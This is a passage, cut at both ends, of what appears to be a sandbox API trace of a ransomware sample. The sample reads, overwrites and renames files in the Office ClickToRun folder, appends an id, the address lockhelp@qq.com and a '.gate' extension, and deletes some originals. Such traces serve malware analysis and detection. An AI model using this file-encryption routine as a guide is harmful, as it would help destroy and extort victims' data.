(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.898] lstrlenW (lpString=".1cd") returned 4 [0319.898] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0319.898] lstrlenW (lpString=".jpg") returned 4 [0319.898] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.899] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.899] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0319.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0319.931] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2285736) returned 1 [0319.931] CloseHandle (hObject=0x350) returned 1 [0319.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0319.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0319.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0319.933] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0x0) returned 1 [0319.933] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1 [0319.933] ReadFile (in: hFile=0x350, lpBuffer=0x4176058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x4176058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1 [0320.121] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1 [0320.121] ReadFile (in: hFile=0x350, lpBuffer=0x41b6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x41b6058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1 [0320.490] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0320.490] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1 [0320.490] ReadFile (in: hFile=0x350, lpBuffer=0x41f6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x41f6058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1 [0320.856] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.856] WriteFile (in: hFile=0x350, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x378fca8, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0320.867] SetEndOfFile (hFile=0x350) returned 1 [0320.867] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x44950d0 [0320.870] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1 [0320.870] WriteFile (in: hFile=0x350, lpBuffer=0x44950d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x44950d0*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.871] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1 [0320.871] WriteFile (in: hFile=0x350, lpBuffer=0x44950d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x44950d0*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.873] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1 [0320.873] WriteFile (in: hFile=0x350, lpBuffer=0x44950d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x44950d0*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.875] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44950d0 | out: hHeap=0x490000) returned 1 [0320.875] CloseHandle (hObject=0x350) returned 1 [0320.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.875] lstrlenW (lpString=".doc") returned 4 [0320.875] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.875] lstrlenW (lpString=".docx") returned 5 [0320.875] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0320.875] lstrlenW (lpString=".pdf") returned 4 [0320.875] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.875] lstrlenW (lpString=".xls") returned 4 [0320.875] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.875] lstrlenW (lpString=".xlsx") returned 5 [0320.875] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0320.875] lstrlenW (lpString=".ppt") returned 4 [0320.875] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.875] lstrlenW (lpString=".zip") returned 4 [0320.875] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.875] lstrlenW (lpString=".rar") returned 4 [0320.875] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.875] lstrlenW (lpString=".bz2") returned 4 [0320.875] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.875] lstrlenW (lpString=".7z") returned 3 [0320.875] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.876] lstrlenW (lpString=".dbf") returned 4 [0320.876] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.876] lstrlenW (lpString=".1cd") returned 4 [0320.876] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.876] lstrlenW (lpString=".jpg") returned 4 [0320.876] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.876] lstrlenW (lpString=".doc") returned 4 [0320.876] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.876] lstrlenW (lpString=".docx") returned 5 [0320.876] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0320.876] lstrlenW (lpString=".pdf") returned 4 [0320.876] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.876] lstrlenW (lpString=".xls") returned 4 [0320.876] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.876] lstrlenW (lpString=".xlsx") returned 5 [0320.876] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0320.876] lstrlenW (lpString=".ppt") returned 4 [0320.876] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.876] lstrlenW (lpString=".zip") returned 4 [0320.876] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.876] lstrlenW (lpString=".rar") returned 4 [0320.876] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.876] lstrlenW (lpString=".bz2") returned 4 [0320.876] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.876] lstrlenW (lpString=".7z") returned 3 [0320.876] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.876] lstrlenW (lpString=".dbf") returned 4 [0320.876] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.877] lstrlenW (lpString=".1cd") returned 4 [0320.877] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0320.877] lstrlenW (lpString=".jpg") returned 4 [0320.877] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.877] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.877] lstrlenW (lpString="concrt140.dll") returned 13 [0320.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0320.877] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=332968) returned 1 [0320.877] CloseHandle (hObject=0x350) returned 1 [0320.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0320.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0320.878] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.878] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0320.878] GetLastError () returned 0x0 [0320.878] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x514a8, lpOverlapped=0x0) returned 1 [0321.315] WriteFile (in: hFile=0x364, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0x514b0, lpOverlapped=0x0) returned 1 [0321.322] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.322] WriteFile (in: hFile=0x364, lpBuffer=0x4176020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesWritten=0x378fc94*=0xee, lpOverlapped=0x0) returned 1 [0321.322] SetEndOfFile (hFile=0x364) returned 1 [0321.398] CloseHandle (hObject=0x364) returned 1 [0321.398] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.398] SetEndOfFile (hFile=0x350) returned 1 [0321.402] CloseHandle (hObject=0x350) returned 1 [0321.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.402] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0321.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.402] lstrlenW (lpString=".doc") returned 4 [0321.402] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.402] lstrlenW (lpString=".docx") returned 5 [0321.402] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.402] lstrlenW (lpString=".pdf") returned 4 [0321.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.402] lstrlenW (lpString=".xls") returned 4 [0321.402] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.402] lstrlenW (lpString=".xlsx") returned 5 [0321.402] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.403] lstrlenW (lpString=".ppt") returned 4 [0321.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.403] lstrlenW (lpString=".zip") returned 4 [0321.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.403] lstrlenW (lpString=".rar") returned 4 [0321.403] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.403] lstrlenW (lpString=".bz2") returned 4 [0321.403] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.403] lstrlenW (lpString=".7z") returned 3 [0321.403] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.403] lstrlenW (lpString=".dbf") returned 4 [0321.403] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.403] lstrlenW (lpString=".1cd") returned 4 [0321.403] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.403] lstrlenW (lpString=".jpg") returned 4 [0321.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.403] lstrlenW (lpString=".doc") returned 4 [0321.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.403] lstrlenW (lpString=".docx") returned 5 [0321.403] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.403] lstrlenW (lpString=".pdf") returned 4 [0321.404] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.404] lstrlenW (lpString=".xls") returned 4 [0321.404] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.404] lstrlenW (lpString=".xlsx") returned 5 [0321.404] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.404] lstrlenW (lpString=".ppt") returned 4 [0321.404] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.404] lstrlenW (lpString=".zip") returned 4 [0321.404] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.404] lstrlenW (lpString=".rar") returned 4 [0321.404] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.404] lstrlenW (lpString=".bz2") returned 4 [0321.404] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.404] lstrlenW (lpString=".7z") returned 3 [0321.404] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.404] lstrlenW (lpString=".dbf") returned 4 [0321.404] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.404] lstrlenW (lpString=".1cd") returned 4 [0321.404] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0321.404] lstrlenW (lpString=".jpg") returned 4 [0321.404] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.405] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0321.405] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0321.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0321.405] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2776664) returned 1 [0321.405] CloseHandle (hObject=0x350) returned 1 [0321.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0321.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0321.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[lockhelp@qq.com].gate"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0321.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.407] lstrlenW (lpString=".doc") returned 4 [0321.408] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.408] lstrlenW (lpString=".docx") returned 5 [0321.408] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0321.408] lstrlenW (lpString=".pdf") returned 4 [0321.408] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.408] lstrlenW (lpString=".xls") returned 4 [0321.408] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.408] lstrlenW (lpString=".xlsx") returned 5 [0321.408] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0321.408] lstrlenW (lpString=".ppt") returned 4 [0321.408] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.408] lstrlenW (lpString=".zip") returned 4 [0321.408] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.408] lstrlenW (lpString=".rar") returned 4 [0321.408] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.408] lstrlenW (lpString=".bz2") returned 4 [0321.408] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.408] lstrlenW (lpString=".7z") returned 3 [0321.408] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.408] lstrlenW (lpString=".dbf") returned 4 [0321.408] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.408] lstrlenW (lpString=".1cd") returned 4 [0321.408] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.408] lstrlenW (lpString=".jpg") returned 4 [0321.408] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.409] lstrlenW (lpString=".doc") returned 4 [0321.409] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.409] lstrlenW (lpString=".docx") returned 5 [0321.409] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0321.409] lstrlenW (lpString=".pdf") returned 4 [0321.409] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.409] lstrlenW (lpString=".xls") returned 4 [0321.409] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.409] lstrlenW (lpString=".xlsx") returned 5 [0321.409] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0321.409] lstrlenW (lpString=".ppt") returned 4 [0321.409] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.409] lstrlenW (lpString=".zip") returned 4 [0321.409] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.409] lstrlenW (lpString=".rar") returned 4 [0321.409] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.409] lstrlenW (lpString=".bz2") returned 4 [0321.409] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.409] lstrlenW (lpString=".7z") returned 3 [0321.409] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.409] lstrlenW (lpString=".dbf") returned 4 [0321.409] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.409] lstrlenW (lpString=".1cd") returned 4 [0321.410] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0321.410] lstrlenW (lpString=".jpg") returned 4 [0321.410] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.410] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.410] lstrlenW (lpString="StreamServer.dll") returned 16 [0321.410] CreateFileW (lpFileName="C:\\Program Files\\Common 